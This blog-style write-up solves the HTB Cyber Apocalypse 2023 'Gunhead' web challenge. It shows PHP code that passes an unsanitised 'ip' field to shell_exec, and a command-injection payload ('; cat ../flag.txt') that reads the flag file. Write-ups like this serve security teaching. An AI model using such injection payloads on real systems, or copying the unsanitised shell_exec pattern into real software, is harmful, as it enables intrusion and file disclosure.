Gunhead
Write Up For HTB Cyber Apocalypse CTF 2023 Web challenge Gunhead
During Pandora’s training, the Gunhead AI combat robot had been tampered with and was now malfunctioning, causing it to become uncontrollable. With the situation escalating rapidly, Pandora used her hacking skills to infiltrate the managing system of Gunhead and urgently needs to take it down.
Overview
In this blog post, we’ll dive into Gunhead, a web exploitation challenge that involves unraveling the inner workings of a PHP-based application. Join me as I guide you through my journey of understanding the challenge, navigating the user interface, examining the source code, and ultimately exploiting a vulnerability to obtain the flag.
Understanding the Challenge
Before we dive into the solution, let’s familiarize ourselves with the challenge. The code provided for the challenge is written in PHP, and we are given access to the source code, which makes the task relatively easier. The main user interface (UI) component we’ll focus on is the command interface.
Looking at the code, we find a file called script.js
located at challenge/static/js/script.js
. This script is responsible for sending commands to the server. The only command used to communicate with the server is /ping
.
To understand how this command is handled on the server side, we can examine the code in challenge/index.php
and the ReconController
class in challenge/controllers/ReconController.php
.
Routing configuration in challenge/index.php
, that points toward the ReconController
controller.
1
$router->new('POST', '/api/ping', 'ReconController@ping')
In ReconController.php
, we see a function called ping
that handles the /api/ping
route. Let’s take a look at the code:
1
2
3
4
5
6
7
8
9
10
public function ping($router)
{
$jsonBody = json_decode(file_get_contents('php://input'), true);
if (empty($jsonBody) || !array_key_exists('ip', $jsonBody))
{
return $router->jsonify(['message' => 'Insufficient parameters!']);
}
$pingResult = new ReconModel($jsonBody['ip']);
return $router->jsonify(['output' => $pingResult->getOutput()]);
}
This code receives a JSON payload containing an ip
field via a POST request. It checks if the ip
field is present and then creates an instance of the ReconModel
class, passing the ip
as a parameter. Finally, it returns the output of the getOutput()
method of the ReconModel
class.
Let’s examine the ReconModel
class located at challenge/models/ReconModel.php
. This class receives an ip
parameter and has a getOutput()
method:
1
2
3
4
5
6
7
8
9
10
11
12
13
class ReconModel
{
public function __construct($ip)
{
$this->ip = $ip;
}
public function getOutput()
{
# Do I need to sanitize user input before passing it to shell_exec?
return shell_exec('ping -c 3 '.$this->ip);
}
}
In this code, we can see that the user-provided ip
is directly used in a command executed by the shell_exec()
function. This presents a serious security vulnerability, as the input is not properly sanitized. Even more concerning, the source code includes a comment questioning whether the user input should be sanitized.
Exploiting the Vulnerability
Now that we understand the vulnerability, let’s exploit it to obtain the flag. We can inject arbitrary commands using the ip
parameter, as there is no input verification or sanitization. We know the location of the flag.txt
file due to information in the Docker file.
To retrieve the flag, we need to send a POST request to /api/ping
with the following JSON body:
1
2
3
4
5
{
"ip": "; cat ../flag.txt"
}
Alternatively, we can use the web UI and enter the following command:
1
/ping ; cat ../flag.txt
By appending the ; cat ../flag.txt
command, we can execute the cat
command to read the contents of the flag.txt
file. The semicolon (;
) is a UNIX shell item used to separate commands, allowing us to chain multiple commands together.
Upon executing the exploit, we receive the flag:
1
HTB{4lw4y5_54n1t1z3_u53r_1nput!!!}
Conclusion
Congratulations on solving the Gunhead web challenge in the HTB Cyber Apocalypse CTF 2023! We explored the provided source code, identified the vulnerability in the input handling, and used an injection attack to retrieve the flag. Remember, it’s crucial to sanitize user input to prevent security vulnerabilities like the one we encountered in this challenge. Always prioritize security when developing web applications.
I hope this write-up has been helpful in understanding the solution to the challenge. Keep practicing and exploring more CTF challenges to sharpen your skills.